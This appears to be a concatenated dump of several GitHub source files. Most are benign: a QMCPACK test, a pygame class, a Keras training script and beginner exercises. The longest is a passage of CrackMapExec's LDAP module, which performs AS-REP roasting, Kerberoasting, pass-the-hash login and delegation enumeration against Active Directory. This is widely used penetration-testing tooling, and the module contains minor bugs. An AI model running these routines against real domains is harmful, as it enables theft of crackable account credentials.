plt.show()\n\n\n","repo_name":"rdsea/sys4bigml","sub_path":"tutorials/edgemodelop/edge_client/edge_machine_learning/DNN_multiple_regression.py","file_name":"DNN_multiple_regression.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71124649332","text":"#!/usr/bin/env python3\n\nimport numpy\nimport unittest\nfrom afqmctools.analysis.extraction import extract_observable\nfrom afqmctools.analysis.average import average_one_rdm\n\n\nclass TestRDM(unittest.TestCase):\n\n    def test_average(self):\n        f = 'qmc.s000.stat.h5'\n        # Old format\n        # base = 'Observables/BackPropagated/FullOneRDM/Average_1'\n        rdm_av, rdm_errs = average_one_rdm(f, eqlb=1, ix=1)\n        self.assertAlmostEqual(2*numpy.sum(rdm_av.real), 9.990239713872079)\n        self.assertAlmostEqual(2*numpy.sum(rdm_av.imag), 0.009522316560114931)\n\n    def test_extract(self):\n        f = 'qmc.s000.stat.h5'\n        # Old format\n        # base = 'Observables/BackPropagated/FullOneRDM/Average_0'\n        dm = 2*extract_observable(f, ix=0)\n        self.assertAlmostEqual(numpy.sum(dm.real), 499.49878268185375)\n        self.assertAlmostEqual(numpy.sum(dm.imag), 1.2453436020111393)\n\n    def test_extract_single(self):\n        f = 'qmc.s000.stat.h5'\n        # base = 'Observables/BackPropagated/FullOneRDM/Average_3'\n        dm = extract_observable(f, ix=3, sample=37)\n        self.assertAlmostEqual(numpy.sum(dm).real, 5.00103256421043)\n\n\nif __name__ == '__main__':\n    import sys\n    import os\n    dir_path = os.path.dirname(os.path.realpath(__file__))\n    sys.path.append(os.path.join(dir_path, '../'))\n    from check_h1e_conv import plot_convergence\n    plot_convergence('qmc.s000.stat.h5')\n    unittest.main()\n","repo_name":"QMCPACK/qmcpack","sub_path":"examples/afqmc/06-methane_converge_back_prop/reference/test_obs.py","file_name":"test_obs.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"21"}
+{"seq_id":"5723750119","text":"from imporlist import *\r\nfrom gamefiles.abilities import Abilities\r\n\r\nclass Unit:\r\n    def __init__(self) -> None:\r\n        self.position = [SCREENWIDTH//2, SCREENHEIGHT//2]\r\n        self.player = pygame.Surface((PLAYERSIZE, PLAYERSIZE))\r\n        print(\"pos: %s %s\" % (self.position, self.player))\r\n\r\nclass Player(Unit, Abilities):\r\n    def __init__(self) -> None:\r\n        super().__init__()\r\n        # self.position = [SCREENWIDTH//2, SCREENHEIGHT//2]\r\n        # self.player = pygame.Surface((PLAYERSIZE, PLAYERSIZE))\r\n        self.player.fill(PLAYERCOLOR)\r\n\r\n\r\n    def collect_inputs(self) -> None:\r\n        pressed = pygame.key.get_pressed()\r\n\r\n        if pressed[pygame.K_RIGHT]:\r\n            print(\"K_RIGHT\")\r\n            self.position[0] += STEPSIZE\r\n\r\n        if pressed[pygame.K_LEFT]:\r\n            print(\"K_LEFT\")\r\n            self.position[0] -= STEPSIZE\r\n            \r\n        if pressed[pygame.K_UP]:\r\n            print(\"K_UP\")\r\n            self.position[1] -= STEPSIZE\r\n            \r\n        if pressed[pygame.K_DOWN]:\r\n            print(\"K_DOWN\")\r\n            self.position[1] += STEPSIZE\r\n        \r\n        if pressed[pygame.K_SPACE]:\r\n            print(\"K_PSACE\")\r\n            # self.pulse_aoe = True\r\n\r\n\r\n    def move(self, surface):\r\n        surface.blit(self.player, self.position)","repo_name":"BanyaszJ/UntitledShapeGame","sub_path":"gamefiles/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74436243574","text":"#!/usr/bin/python3\n\"\"\"\nSquare with area\n\"\"\"\n\n\nclass Square:\n    \"\"\"\n    definition of a square\n    \"\"\"\n    def __init__(self, size=0):\n        \"\"\"\n        Args:\n            size: size of square\n        \"\"\"\n        if type(size) is not int:\n            raise TypeError(\"size must be an integer\")\n        elif size < 0:\n            raise ValueError(\"size must be >= 0\")\n        else:\n            self.__size = size\n\n    def area(self):\n        \"\"\"\n        returns area of a square\n        \"\"\"\n        return(self.__size ** 2)\n","repo_name":"Chezzo-codes/alx-higher_level_programming","sub_path":"0x06-python-classes/3-square.py","file_name":"3-square.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27005276320","text":"# i=1\r\n# while i<=5:\r\n#     j=1\r\n#     while j<=5:\r\n#         print(\"*\",end=\" \")\r\n#         j+=1\r\n#     print()\r\n#     i+=1\r\n    \r\nrow=1\r\ni=0\r\nj=4\r\nwhile i<=7:\r\n    column=1\r\n    while column<=5:\r\n        if column==1 or (row==column+2 and column>1):\r\n            print(\"*\",end=\"\")\r\n        elif ((row==i and column==j) and column>0):\r\n            print(\"*\",end=\"\")\r\n        column+=1\r\n    i+=1\r\n    j-=1\r\n        \r\n    print()        \r\n    row+=1\r\n\r\n\r\n    ","repo_name":"saloni-080601/list.py","sub_path":"karuna.py","file_name":"karuna.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19124926702","text":"import numpy as np\nimport cv2\nimport os\nimport sys\nimport keras\nfrom keras.applications.mobilenet import MobileNet\nfrom keras.models import Model, Sequential, load_model\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import ModelCheckpoint\nimport keras.layers as L\nfrom keras.optimizers import SGD, Adam\nfrom os.path import join\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder, LabelBinarizer\nimport matplotlib.pyplot as plt\nimport sys\n\ntemperature = 10\n\ndef pretrained_small():\n    model = MobileNet(input_shape=(128, 128, 3), alpha=1.0, depth_multiplier=1, dropout=1e-3, include_top=False, weights='imagenet', input_tensor=None, pooling=None, classes=8)\n    layer_name = 'conv_pw_6'\n    intermodel = Model(inputs=model.input, outputs=model.get_layer(layer_name).output)\n    return intermodel\n\ndef shuffle_in_unison_scary(X, Y1, Y2):\n    rng_state = np.random.get_state()\n    np.random.shuffle(X)\n    np.random.set_state(rng_state)\n    np.random.shuffle(Y1)\n    np.random.set_state(rng_state)\n    np.random.shuffle(Y2)\n    return X, Y1, Y2\n\ndef getdata():\n    num_images=3105\n    X = np.zeros((num_images, 128, 128, 3))\n    Y1 = np.zeros((num_images,), dtype=int)\n    Y2 = np.zeros((num_images,), dtype=int)\n    mydir1 = 'finaldata/paths/'\n    mydir2 = 'finaldata/'\n    counter=0\n    summ=0\n    for labelfile in os.listdir(mydir1):\n        print(labelfile)\n        fullpath = join(mydir1, labelfile)\n        data = pd.read_csv(fullpath)\n        length = len(data)\n        for i in range(length):\n            imgname = str(data[\"filepath\"][i])\n            if imgname == 'nan': continue\n            imgname = imgname[2:]\n            direction = data['direction'][i]\n            distracted = data['distracted'][i]\n            imagepath=join(mydir2, imgname)\n            img = cv2.imread(imagepath)\n            img = cv2.resize(img, (128, 128))\n            X[counter, :, :, :] = img[:, :, :]\n            Y1[counter] = int(direction)\n            Y2[counter] = int(distracted)\n            counter+=1\n    print(\"done\")\n    print(counter)\n    X -= 128\n    X /= 128\n    enc=LabelBinarizer()\n    Y1=enc.fit_transform(Y1.reshape(Y1.shape[0], 1))\n    Y2=enc.fit_transform(Y2.reshape(Y2.shape[0], 1))\n    np.save('distractiondata/X.npy', X)\n    np.save('distractiondata/Y1.npy', Y1)\n    np.save('distractiondata/Y2.npy', Y2)\n    return\n\ndef getsaveddata():\n    X = np.load('distractiondata/X.npy')\n    Y1 = np.load('distractiondata/Y1.npy')\n    Y2 = np.load('distractiondata/Y2.npy')\n    return X, Y1, Y2\n\ndef trainRealTransfer2_withoutgen():\n    batchsize = 64\n    X, Y1, Y2= getsaveddata()\n    X, Y1, Y2= shuffle_in_unison_scary(X, Y1, Y2)\n    intermodel = pretrained_small()\n    print(Y2.shape)\n    x = intermodel.output\n    x = L.Conv2D(filters=512, kernel_size=(3, 3), strides=(1, 1), padding='same', activation='relu')(x)\n    x = L.Conv2D(filters=512, kernel_size=(3, 3), strides=(1, 1), padding='same', activation='relu')(x)\n    x = L.Conv2D(filters=512, kernel_size=(3, 3), strides=(2, 2), padding='same', activation='relu')(x)\n    x = L.Conv2D(filters=512, kernel_size=(3, 3), strides=(1, 1), padding='same', activation='relu')(x)\n    x = L.Flatten()(x)\n    x = L.Dense(1024, activation='relu')(x)\n    x = L.Dropout(0.5)(x)\n    x = L.Dense(512, activation='relu')(x)\n    x = L.Dropout(0.5)(x)\n    x1 = L.Dense(128, activation='relu')(x)\n    x1 = L.Dropout(0.5)(x1)\n    x1 = L.Dense(8)(x1)\n    x1 = L.Activation('softmax', name='dir_out')(x1)\n    x2 = L.Dense(128, activation='elu')(x)\n    x2 = L.Dropout(0.5)(x2)\n    x2 = L.Dense(1)(x2)\n    x2 = L.Activation('sigmoid', name='dis_out')(x2)\n    model = Model(inputs = intermodel.input, outputs = [x1, x2])\n    filepath=\"models/distraction.h5\"\n    loss = {\n        'dir_out':'categorical_crossentropy',\n        'dis_out':'binary_crossentropy'\n    }\n    model.compile(optimizer=Adam(lr=0.00005, decay=0.001), loss=loss, metrics=['accuracy'])\n    checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n    callback_list = [checkpoint]\n    history = model.fit(x=X, y={'dir_out':Y1, 'dis_out':Y2}, batch_size=64, epochs=1, verbose=1, validation_split=0.2, callbacks=callback_list)\n    # summarize history for accuracy\n\n\ndef inference_KD():\n    model = load_model('models/distraction.h5')\n    path = 'test/'\n    correct=0\n    l = len(os.listdir(path))\n    while True:\n        imgp = input('imgpath: ')\n        img = cv2.imread(imgp)\n        img = cv2.resize(img, (128, 128)).astype(np.float32)\n        # cv2.imshow('win', img)\n        # cv2.waitKey(0)\n        img -= 128\n        img = img/128\n        \n        output = model.predict(np.reshape(img, (1, 128, 128, 3)))\n        prediction = np.array(output[0]).argmax()\n        prediction2 = output[1]\n        print('direction:', prediction, 'distraction score:', prediction2[0][0])\n        \n\ndef main():\n    choice = sys.argv[1]\n    if choice == 'train':\n        trainRealTransfer2_withoutgen()\n    if choice == 'infer':\n        inference_KD()\n\nmain()","repo_name":"chiragk156/PedestrianPrediction","sub_path":"train2.py","file_name":"train2.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32409373168","text":"# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py\n# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf\n\nimport requests\nimport logging\nimport configparser\nfrom cme.connection import *\nfrom cme.helpers.logger import highlight\nfrom cme.logger import CMEAdapter\nfrom cme.protocols.ldap.kerberos import KerberosAttacks\nfrom impacket.smbconnection import SMBConnection, SessionError\nfrom impacket.smb import SMB_DIALECT\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION\nfrom impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS\nfrom impacket.krb5.types import KerberosTime, Principal\nfrom impacket.ldap import ldap as ldap_impacket\nfrom impacket.krb5 import constants\nfrom impacket.ldap import ldapasn1 as ldapasn1_impacket\nfrom io import StringIO\n\nclass ldap(connection):\n\n    def __init__(self, args, db, host):\n        self.domain = None\n        self.server_os = None\n        self.os_arch = 0\n        self.hash = None\n        self.ldapConnection = None\n        self.lmhash = ''\n        self.nthash = ''\n        self.baseDN = ''\n        self.remote_ops = None\n        self.bootkey = None\n        self.output_filename = None\n        self.smbv1 = None\n        self.signing = False\n        self.smb_share_name = smb_share_name\n\n        connection.__init__(self, args, db, host)\n\n    @staticmethod\n    def proto_args(parser, std_parser, module_parser):\n        ldap_parser = parser.add_parser('ldap', help=\"own stuff using ldap\", parents=[std_parser, module_parser])\n        ldap_parser.add_argument(\"-H\", '--hash', metavar=\"HASH\", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')\n        ldap_parser.add_argument(\"--no-bruteforce\", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')\n        ldap_parser.add_argument(\"--continue-on-success\", action='store_true', help=\"continues authentication attempts even after successes\")\n        ldap_parser.add_argument(\"--port\", type=int, choices={389, 636}, default=389, help=\"LDAP port (default: 389)\")\n        dgroup = ldap_parser.add_mutually_exclusive_group()\n        dgroup.add_argument(\"-d\", metavar=\"DOMAIN\", dest='domain', type=str, default=None, help=\"domain to authenticate to\")\n        dgroup.add_argument(\"--local-auth\", action='store_true', help='authenticate locally to each target')\n        \n        egroup = ldap_parser.add_argument_group(\"Retrevie hash on the remote DC\", \"Options to get hashes from Kerberos\")\n        egroup.add_argument(\"--asreproast\", help=\"Get AS_REP response ready to crack with hashcat\")\n        egroup.add_argument(\"--kerberoasting\", help='Get TGS ticket ready to crack with hashcat')\n        \n        vgroup = ldap_parser.add_argument_group(\"Retrieve useful information on the domain\", \"Options to to play with Kerberos\")\n        vgroup.add_argument(\"--trusted-for-delegation\", action=\"store_true\", help=\"Get the list of users and computers with flag TRUSTED_FOR_DELEGATION\")\n        vgroup.add_argument(\"--admin-count\", action=\"store_true\", help=\"Get objets that had the value adminCount=1\")\n\n        return parser\n\n    def proto_logger(self):\n        self.logger = CMEAdapter(extra={\n                                        'protocol': 'LDAP',\n                                        'host': self.host,\n                                        'port': self.args.port,\n                                        'hostname': self.hostname\n                                        })\n\n    def get_os_arch(self):\n        try:\n            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)\n            transport = DCERPCTransportFactory(stringBinding)\n            transport.set_connect_timeout(5)\n            dce = transport.get_dce_rpc()\n            if self.args.kerberos:\n                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n            dce.connect()\n            try:\n                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))\n            except (DCERPCException, e):\n                if str(e).find('syntaxes_not_supported') >= 0:\n                    dce.disconnect()\n                    return 32\n            else:\n                dce.disconnect()\n                return 64\n\n        except Exception as e:\n            logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))\n\n        return 0\n\n    def enum_host_info(self):\n        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]\n\n        try:\n            self.conn.login('' , '')\n        except:\n            #if \"STATUS_ACCESS_DENIED\" in e:\n            pass\n\n        self.domain    = self.conn.getServerDNSDomainName()\n        self.hostname  = self.conn.getServerName()\n        self.server_os = self.conn.getServerOS()\n        self.signing   = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']\n        self.os_arch   = self.get_os_arch()\n\n        self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime(\"%Y-%m-%d_%H%M%S\")))\n\n        if not self.domain:\n            self.domain = self.hostname\n\n        try:\n            '''plaintext_login\n                DC's seem to want us to logoff first, windows workstations sometimes reset the connection\n                (go home Windows, you're drunk)\n            '''\n            self.conn.logoff()\n        except:\n            pass\n\n        if self.args.domain:\n            self.domain = self.args.domain\n        \n        if self.args.local_auth:\n            self.domain = self.hostname\n\n        #Re-connect since we logged off\n        self.create_conn_obj()\n\n    def print_host_info(self):\n        self.logger.info(u\"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})\".format(self.server_os,\n                                                                                      ' x{}'.format(self.os_arch) if self.os_arch else '',\n                                                                                      self.hostname,\n                                                                                      self.domain,\n                                                                                      self.signing,\n                                                                                      self.smbv1))\n\n    def kerberos_login(self, aesKey, kdcHost):\n        # Create the baseDN\n        domainParts = self.domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        if self.kdcHost is not None:\n            target = self.kdcHost\n        else:\n            target = self.domain\n\n        try:\n            self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,\n                                                self.aesKey, kdcHost=self.kdcHost)                                \n        except ldap_impacket.LDAPSessionError as e:\n            if str(e).find('strongerAuthRequired') >= 0:\n                # We need to try SSL\n                self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)\n                self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,\n                                                self.aesKey, kdcHost=self.kdcHost)\n\n        return True\n\n\n    def plaintext_login(self, domain, username, password):\n        self.username = username\n        self.password = password\n        self.domain = domain\n        # Create the baseDN\n        self.baseDN = ''\n        domainParts = self.domain.split('.')\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        if self.kdcHost is not None:\n            target = self.kdcHost\n        else:\n            target = domain\n\n        if self.password == '' and self.args.asreproast:\n            hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)\n            if hash_TGT:\n                self.logger.highlight(u'{}'.format(hash_TGT))\n                with open(self.args.asreproast, 'a+') as hash_asreproast:\n                    hash_asreproast.write(hash_TGT + '\\n')\n            return False\n\n        # Connect to LDAP\n        out = u'{}{}:{}'.format('{}\\\\'.format(domain),\n                                                username,\n                                                password)\n        try:\n            self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)\n            self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)\n            self.logger.success(out)\n        except ldap_impacket.LDAPSessionError as e:\n            if str(e).find('strongerAuthRequired') >= 0:\n                # We need to try SSL\n                try:\n                    self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)\n                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)\n                    self.logger.success(out)\n                except ldap_impacket.LDAPSessionError as e:\n                    self.logger.error(u'{}\\{}:{}'.format(self.domain, \n                                                            self.username, \n                                                            self.password))\n            else:\n                self.logger.error(u'{}\\{}:{}'.format(self.domain, \n                                                 self.username, \n                                                 self.password))\n            return False\n\n        return True\n\n    def hash_login(self, domain, username, ntlm_hash):\n        lmhash = ''\n        nthash = ''\n\n        #This checks to see if we didn't provide the LM Hash\n        if ntlm_hash.find(':') != -1:\n            lmhash, nthash = ntlm_hash.split(':')\n        else:\n            nthash = ntlm_hash\n\n        self.hash = ntlm_hash\n        if lmhash: self.lmhash = lmhash\n        if nthash: self.nthash = nthash\n\n        self.username = username\n        self.domain = domain\n        # Create the baseDN\n        self.baseDN = ''\n        domainParts = self.domain.split('.')\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        if self.kdcHost is not None:\n            target = self.kdcHost\n        else:\n            target = domain\n\n        if self.hash == '' and self.args.asreproast:\n            hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)\n            if hash_TGT:\n                self.logger.highlight(u'{}'.format(hash_TGT))\n                with open(self.args.asreproast, 'a+') as hash_asreproast:\n                    hash_asreproast.write(hash_TGT + '\\n')\n            return False\n\n        # Connect to LDAP\n        out = u'{}{}:{}'.format('{}\\\\'.format(domain),\n                                    username,\n                                    nthash)\n        try:\n            self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)\n            self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)\n\n            self.logger.success(out)\n        except ldap_impacket.LDAPSessionError as e:\n            if str(e).find('strongerAuthRequired') >= 0:\n                try:\n                    # We need to try SSL\n                    self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)\n                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)\n                    self.logger.success(out)\n                except ldap_impacket.LDAPSessionError as e:\n                    self.logger.error(u'{}\\{}:{}'.format(self.domain, \n                                                    self.username, \n                                                    self.nthash))\n            else:\n                self.logger.error(u'{}\\{}:{}'.format(self.domain, \n                                                    self.username, \n                                                    self.nthash))\n            return False\n\n        return True\n\n    def create_smbv1_conn(self):\n        try:\n            self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)\n            self.smbv1 = True\n        except socket.error as e:\n            if str(e).find('Connection reset by peer') != -1:\n                logging.debug('SMBv1 might be disabled on {}'.format(self.host))\n            return False\n        except Exception as e:\n            logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))\n            return False\n\n        return True\n\n    def create_smbv3_conn(self):\n        try:\n            self.conn = SMBConnection(self.host, self.host, None, 445)\n            self.smbv1 = False\n        except socket.error:\n            return False\n        except Exception as e:\n            logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))\n            return False\n\n        return True\n\n    def create_conn_obj(self):\n        if self.create_smbv1_conn():\n            return True\n        elif self.create_smbv3_conn():\n            return True\n\n        return False\n\n    def getUnixTime(self, t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def asreproast(self):\n        if self.password == '' and self.nthash == '' and self.kerberos == False:\n            return False\n        # Building the search filter\n        searchFilter = \"(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)\" \\\n                    \"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))\" % \\\n                    (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)\n\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            resp = self.ldapConnection.search(searchFilter=searchFilter,\n                                        attributes=['sAMAccountName',\n                                                    'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                        sizeLimit=999)\n        except ldap_impacket.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                logging.debug(e)\n                return False\n\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n\n        for item in resp:\n            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            memberOf = ''\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = \"0x%x\" % int(attribute['vals'][0])\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                if mustCommit is True:\n                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])\n            except Exception as e:\n                logging.debug(\"Exception:\", exc_info=True)\n                logging.debug('Skipping item, cannot process due to error %s' % str(e))\n                pass\n        if len(answers)>0:\n            for user in answers:\n                hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])\n                self.logger.highlight(u'{}'.format(hash_TGT))\n                with open(self.args.asreproast, 'a+') as hash_asreproast:\n                    hash_asreproast.write(hash_TGT + '\\n')\n            return True\n        else:\n            self.logger.error(\"No entries found!\")\n\n    def kerberoasting(self):\n        # Building the search filter\n        searchFilter = \"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)\" \\\n                       \"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))\"\n\n        try:\n            resp = self.ldapConnection.search(searchFilter=searchFilter,\n                                         attributes=['servicePrincipalName', 'sAMAccountName',\n                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                         sizeLimit=999)\n        except ldap_impacket.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                return False\n\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n\n        for item in resp:\n            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            memberOf = ''\n            SPNs = []\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            delegation = ''\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = str(attribute['vals'][0])\n                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:\n                            delegation = 'unconstrained'\n                        elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:\n                            delegation = 'constrained'\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'servicePrincipalName':\n                        for spn in attribute['vals']:\n                            SPNs.append(str(spn))\n\n                if mustCommit is True:\n                    if int(userAccountControl) & UF_ACCOUNTDISABLE:\n                        logging.debug('Bypassing disabled account %s ' % sAMAccountName)\n                    else:\n                        for spn in SPNs:\n                            answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])\n            except Exception as e:\n                logging.error('Skipping item, cannot process due to error %s' % str(e))\n                pass\n\n        if len(answers)>0:\n            users = dict( (vals[1], vals[0]) for vals in answers)\n            TGT = KerberosAttacks(self).getTGT_kerberoasting()\n            for user, SPN in users.items():\n                try:\n                    serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)\n                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain,\n                                                                            self.kdcHost,\n                                                                            TGT['KDC_REP'], TGT['cipher'],\n                                                                            TGT['sessionKey'])\n                    r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)\n                    self.logger.highlight(u'{}'.format(r))\n                    with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:\n                        hash_kerberoasting.write(r + '\\n')\n                except Exception as e:\n                    logging.debug(\"Exception:\", exc_info=True)\n                    logging.error('SPN: %s - %s' % (SPN,str(e)))\n        else:\n            self.logger.error(\"No entries found!\")\n\n    def trusted_for_delegation(self):\n        # Building the search filter\n        searchFilter = \"(userAccountControl:1.2.840.113556.1.4.803:=524288)\"\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            resp = self.ldapConnection.search(searchFilter=searchFilter,\n                                        attributes=['sAMAccountName',\n                                                    'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],\n                                        sizeLimit=999)\n        except ldap_impacket.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement\n                # paged queries\n                resp = e.getAnswers()\n                pass\n            else:\n                return False\n        answers = []\n        logging.debug('Total of records returned %d' % len(resp))\n\n        for item in resp:\n            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:\n                continue\n            mustCommit = False\n            sAMAccountName =  ''\n            memberOf = ''\n            pwdLastSet = ''\n            userAccountControl = 0\n            lastLogon = 'N/A'\n            try:\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                        mustCommit = True\n                    elif str(attribute['type']) == 'userAccountControl':\n                        userAccountControl = \"0x%x\" % int(attribute['vals'][0])\n                    elif str(attribute['type']) == 'memberOf':\n                        memberOf = str(attribute['vals'][0])\n                    elif str(attribute['type']) == 'pwdLastSet':\n                        if str(attribute['vals'][0]) == '0':\n                            pwdLastSet = '<never>'\n                        else:\n                            pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                    elif str(attribute['type']) == 'lastLogon':\n                        if str(attribute['vals'][0]) == '0':\n                            lastLogon = '<never>'\n                        else:\n                            lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                if mustCommit is True:\n                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])\n            except Exception as e:\n                logging.debug(\"Exception:\", exc_info=True)\n                logging.debug('Skipping item, cannot process due to error %s' % str(e))\n                